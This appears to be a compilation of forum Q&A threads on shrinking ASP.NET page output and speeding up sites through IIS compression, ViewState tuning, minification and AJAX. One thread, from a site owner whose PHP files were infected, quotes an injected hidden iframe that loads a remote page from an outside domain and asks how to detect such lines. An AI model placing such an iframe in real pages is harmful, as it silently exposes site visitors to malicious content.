I'm developing a newsletter in asp.net that will be send to a large quantity of users, so each kilobyte that I can reduce will help a lot in the use of bandwidth consumption, what I do until know is write the aspx excluding some spaces between tags, and before render, i've renamed some controls ids to "-" to save more space.
So now, the file has 50kb. I need a file with 25 Kb.
Can anyone teach me any other way do save more space ?
ps.: I Use 3 divs with some data, and 2 repeaters, one inside other, to generate a table with some data for me.
EDIT: I've disabled viewstate, and remove unnecessary divs, I'll try to verify if gzip is enabled in IIS.
thanks in advance
Make sure HTTP compression is enabled. It will help to reduce the amount of HTML, but enabling HTTP compression will give more than the marginal improvements you're likely to see.
There are different ways to enable compression, depending on your version of IIS. For instance, in IIS 6.0, you can manually edit metabase.xml or run:
cscript adsutil.vbs set w3svc/filters/compression/parameters/HcDoDynamicCompression true
You can check HTTP headers to verify that compression is enabled using something like https://addons.mozilla.org/en-US/firefox/addon/3829/ Live HTTP Headers for Firefox. Check your headers for "Content-Encoding: gzip".
Don't use an aspx page if you want full control. Make a Generic Handler, and then you can have full control over every byte generated.
Instead of using Repeaters, just loop through a dataset and output tables or spans or something. Although, I have to say, repeaters are very easy to control the exact output of, too.
Look at your generated html and see if you can identify any obvious culprits.
You can disable the viewstate and optimize image files if you are using any.
I recommend going over this article if your using ASP.Net Web Forms - explains how to correctly utilize ViewState:
http://weblogs.asp.net/infinitiesloop/archive/2006/08/03/Truly-Understanding-Viewstate.aspx
You might want to look into IIS Compression(it uses gzip IIRC). That should knock the file size down.
Also minify the javascript/css(I've done that and seen up to 40% reduction on js/css file sizes), here's a link to a book/website that talks about other things you can do: http://developer.yahoo.com/performance/rules.html, the book's title is "High Performance Web Sites", the ISBN: 978-0-596-52930-7
It may not work out to much savings, but you can also reduce markup by seriously considering whether to use DIVs for styling purposes when styling the contents directly would achieve the same result.
For instance,
<div class="sidebar">
<ul>
<li>Lorem</li>
</ul>
</div>
In most cases you can get the same result from styling the UL directly:
<ul class="sidebar">
<li>Lorem</li>
</ul>
But in your case, the repeaters are probably the main source of the bloat. Make sure you're using a custom template for them with clean HTML, and not relying on the out of the box rendering, which can be quite messy.
Like someone else posted, turn off viewstate for any controls you don't need it on - that's a TON of junk alone.
Related
A little while back, one of the junior developers at our company was tasked with creating a website for users to enter timesheets offsite. Mostly this is used for staff that reside offshore and have limited bandwidth (it's satellite internet, so we're already looking at a 500ms - 600ms response time, typically with only 10KB/s or less, including 10% - 20% intermittent packet loss).
So it's a challenging situation...
Recently I've been tasked with helping the junior to improve the speed and functionality of the website, mostly for my own benefit, since I'm usually a desktop dev. One thing I've noticed is that the website is using MultiView and I'm wondering if that's the best approach. I can see the reasoning; download the entire website once, then just make queries back and forth, showing/hiding the various views as necessary. Except it doesn't seem to work as smoothly as that.
95% of operations required a run by the server; i.e. add a new timesheet - need to tell the server, which in turn creates a new entry in the database. When the server is done, it seems to cause the client to download the entire webpage again, which is obviously counter productive.
So my question(s) are as follows;
Is this the expected behaviour, given the above situation? i.e. Should the entire webpage be getting re-downloaded once the server has completed it's actions?
If so, is this the best approach for the situation? Would it be better to have smaller, individual pages for the various features (timesheets/leave/etc.)?
I know this is probably a bit opinion based, but any ideas or assistance is greatly appreciated; for both our benefits.
Going from memory, Multiview only renders one of the views, not all of them, but since you mention the Multiview, that tells me you are using the older WebForms technology which often carries large amounts of overhead saving/restoring state. You can try and optimize that, especially if you are using some kind of grid control.
A better approach may be to ditch WebForms and switch to a newer technology like MVC. Rewrite the application to use AJAX with a webservice that returns JSON whenever possible to reduce the amount of data that needs to be sent to and from the server. Using MVC will also reduce the number of resources required for a page load (No resource.axd, etc) which will help page load times, especially over high latency links.
Make sure the server is set to compress dynamic pages with GZIP.
Compress and minify your javascript and CSS.
Don't use inline styles (the style attribute) in your HTML (use classes or IDs+children selectors) to reduce HTMLsize.
Bundle all your javascript and CSS.
Sprite your images in CSS where possible.
Run your images through a good image optimizer like http://kraken.io
Make sure you are caching whatever you can, and the cache duration is set properly.
Minify your HTML.
Stop using WebForms (or watch your page state, and control state very closely)
Check into some of the SPA architectures out there -- you may be able to make the whole application "offline-able" with the exception of the calls to get/update/create data.
Ultimately, each page should only require 1 HTML file, 1 CSS file, 1 Javascript file, and 1 sprite sheet on the first page hit, and then every page after that should only require a single HTML file.
You might also want to look into using a client side library like angular or knockout to handle rendering views. This can reduce the amount of traffic that needs to be sent (although it likely will increase the number of requests by one).
I think the best bet is a SPA (Single Page App) with Angularjs. Done right it greatly reduces the number of http requests. Navigation does not cause entire page reload in any case. Javascript files, css files etc, are loaded just one time at app load time. Once the app is loaded in the browser, the traffic is mainly sending JSON back and forth.
There are some tricks you should apply to reduce app load time:
Bundle javascript files into just one minified javascript file.
Bundle css files into just one css file.
Levearage http cache. You can use file versioning combined with MaxAge http header, so the browser does not even ask the server if the file has changed.
Some tools to help:
Fiddler, look at what is being cached and what isn't.
Facebooks augmented Traffic Control
To my understanding, ajax would be the best choice for you. If you want to access server 95% of times and reload the page with the new elements then the performance would hamper.
So instead of doing this make partial reloading with Ajax or Jquery. There are plenty of functionality available with jquery which would use ajax and reload specific portion of the webpage instead of whole page. It would increse the performance a lot.
One more thing I would like to add is that the response packet coming from server might be huge chunk. So instead of directly throwing the response from the server, implement GZip functionality in the website. It would compress the size of the data packet and the page would load/reload much faster.
Other than these, place your CSS and JS code inside some .css and .js file instead of placing it inside the page itself(and make sure to use it maximum time from all the pages). Browser would make a cache version of those files and reuse it instead of download it every time you want to connect to the server.
I believe that you have already figured out what's wrong. No Multiview is not good if it is implemented as is without tweaks. If your website uses viewstate and on top of that you have the multiview implemented, then it is going to be a costly affair.
Here are your options.
To use most out of the code, I would recommend to convert your methods HTTP GET / POST methods which can be then called separately from the needed actions in the html.
Don't re-render the entire page, but render the content which changes on menu action.
Change the non-changing part of your page / site to static content and apply compression on the static contents.
Enable page caching.
Cache the data offline wherever possible. (Remember it comes with a overhead of syncing data).
If you are considering a revamp give a thought about HTML 5 offline features.
I need the pages in my site to load faster. So I heard about an html compressor that can reduce the html size that I send to the client. Does anybody know about a way to do that. I preffer an already made dll if possible...
Using compression does not always work.
When IIS compresses a page it keeps it in the memory till the page is expired or contents are changed. If server side has more dynamic pages having large amount of data then it can actually degrade the performance.
You should try to optimize the server side code and also reduce the client side code.
Many people make the mistake of writing JavaScript with variable name which are long. This increases the size of the page.
Unnecessary comments on the html are also not good.
Using .js files for commmon functions.
If you have data which does not change frequently, depending upon the type of data and size of the data you could try caching the same data in server side Cache. This reduces the query in the database.
Compression is good for static pages.
Take a look at the html that your site produces.
Do so by surfing to the pages in internet explorer (or other browser), right click the page body in your browser and select view source. If you are using ASP.NET the hidden field _VIEWSTATE may be big. If so try to disable it in your various page controls where its not needed. Look also in the source for other unneeded output.
IIS has this compression built in and it's on for static files by default.
To enable dynamic compression at the server level use the folowwing command:
C:\Windows\System32\Inetsrv\Appcmd.exe set config -section:urlCompression -doStaticCompression:true -doDynamicCompression:true
Alternatively if you would like to only enable dynamic compression for one site:
C:\Windows\System32\Inetsrv\Appcmd.exe set config "Site Name" -section:urlCompression -doStaticCompression:true -doDynamicCompression:true
If you would like to learn more about configuring compression in IIS for dynamic files see the below links:
http://technet.microsoft.com/en-us/library/cc771003%28v=ws.10%29.aspx
http://weblogs.asp.net/owscott/archive/2009/02/22/iis-7-compression-good-bad-how-much.aspx
Heavy CSS files affect the load-time of web pages, you can use this online utility to compress your CSS and it will make your webpages load faster.
http://www.cssdrive.com/index.php/main/csscompressor
Same applies to JS files, and here is JS Compressor tool
http://jscompress.com/
Note: I am not a promoter/supporter of above sites.
Is there any legit use for hidden iframe? I've got viruses as per Can a file be read and written right back with small changes without knowing its encoding in C#? which are all over the php files (it seems one entry per file but can't be sure with 5000 files).
The ones I found have this but I can't be sure there are others with something a bit different inside. Could I assume all iframe where visibility is hidden are malicious?
<iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>
Or maybe there's other way I could tell my c# code to look at it? I don't want to break the files and websites but I can't just look for exact value as I may miss something.
A hidden IFRAME can certainly be useful for malicious purposes, but it can be used legitimately. For example, you could use a hidden IFRAME to emulate asynchronous calls to the server (ASP.Net did this at one point, if I recall).
I have also used IFRAMEs to get around file upload control limitations (both hidden and visible IFRAMEs can be useful for this).
Suspicious, but not malicious by default.
Some old traffic counters I've seen use hidden iFrames to count traffic, but that's about the only legitimate usage of a hidden iFrame; I certainly don't like it and if it were me, I would remove those as well.
Another thing you could check for is if the iFrame was hidden and the source is not from your domain.
I need to improve the speed of my website and perfomance.
I've tried everything under the book from compression handling , whitespace removal , update panels and enable view state false.. but nothing seem to work.
The output page size is still 764 kb.. which is quite a lot. So can you guys tell me an out of the box or any other way to approach this to decrease the output page size!
Put styles to external css files
Put javascript to external files
Try to use divs instead of tables for positioning
Short id names can help too :)
P.S.: it's difficult to advice without seeing the source
If it really cannot get further decreased, consider implementing some dynamic solution. You could first only load a main frame (without 'real frames') content page which afterwards loads more content dynamically. May use AJAX (javascript) controls or a custom solution for it.
Also, such big html code still looks strange. I doubt, the information can be (over)viewed at the same time by the user. She would at least have to scroll through some big tables or so? If you need a more smooth experience for the user, a dynamic solution may also show the content in chunks, dynamically loaded via javascript. Every time she scrolls down and a new part gets visible, that content is loaded from the server on demand.
If you are using Update Panels, try removing it. Alone Update Panel can load script file(s) which can be > 300 KB.
What is the best way to transform large bunches of very similar web pages into a newer css-based layout programatically?
I am changing all the contents of an old website into a new css-based layout. Many of the pages are very similar, and I want to be able to automate the process.
What I am currently thinking of doing is to read the pages in using HtmlAgilityPack, and make a method for each group of similar pages that will create the output text.
What do you think is the best way to do this? The pages mostly differ by things like which .jpg file is used for the image, or how many groups of heading-image-text there are on that particular page
EDIT: I cannot use any other file type than .html, as that is all I am authorized to do. Any suggestions?
EDIT2: Ideally, I would also be able to make this be generic enough that I could use it for many different groups of html files by just switching around a few moving parts.
Sounds like you should be re-using code. If you are using strictly HTML, I would consider doing PHP or ASP based webpages instead. That way, you can create Header/Content/Footer/Nav sections, and re-use the same code across all your webpages.
This would make it a lot more sustainable, as you would only need to edit one file in the future.
What about using Server Side Includes (SSI) <#!--#INCLUDE -->
This was you can create different parts of your webpage in different files and just "include" them in any other page you want.
header.html
body.html
footer.html
<html>
<!--#INCLUDE file="header.html" -->
<!--#INCLUDE file="body.html" -->
<!--#INCLUDE file="footer.html" -->
</html>
More info here